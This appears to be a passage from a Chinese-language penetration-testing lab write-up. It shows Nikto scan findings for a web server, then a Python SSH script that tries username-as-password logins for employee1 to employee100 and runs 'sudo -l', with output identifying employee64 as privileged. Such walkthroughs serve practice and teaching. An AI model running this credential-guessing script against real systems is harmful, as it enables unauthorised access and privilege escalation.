+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3092: /readme.txt: This might be interesting...
+ OSVDB-3268: /secret/: Directory indexing found.
+ OSVDB-3092: /secret/: This might be interesting...
# Return the underlying .Transport object for this SSH connection. This can be used to perform lower-level tasks, like opening specific kinds of channels.
session = transport.open_session()
# Request a new channel to the server, of type "session". This is just an alias for calling open_channel with an argument of "session"
session.set_combine_stderr(True)
# Set whether stderr should be combined into stdout on this channel. The default is False, but in some cases it may be convenient to have both streams combined.
session.get_pty()
#Request a pseudo-terminal from the server. This is usually used right after creating a client channel, to ask the server to provide some basic terminal semantics for a shell invoked with invoke_shell. It isn't necessary (or desirable) to call this method if you're going to execute a single command with exec_command.
session.exec_command('sudo -l')
stdin = session.makefile('wb',-1)
stdout = session.makefile('rb',-1)
stdin.write(password+'\n')
stdin.flush()
print(stdout.read().decode('utf-8'))
session.close()
self.ssh_client.close()
except Exception as e:
print(e)
sys.exit()
def run(self):
for i in range(1,101):
username = 'employee' + str(i)
password = 'employee' + str(i)
self.run_sudo(username, password)
print('*'*150)
time.sleep(1)
if __name__ == '__main__':
client = GainPowerCls()
client.run()
复制代码
运行上述python脚本可知employee64拥有sudo 权限
employee64
[sudo] password for employee64:
Matching Defaults entries for employee64 on localhost: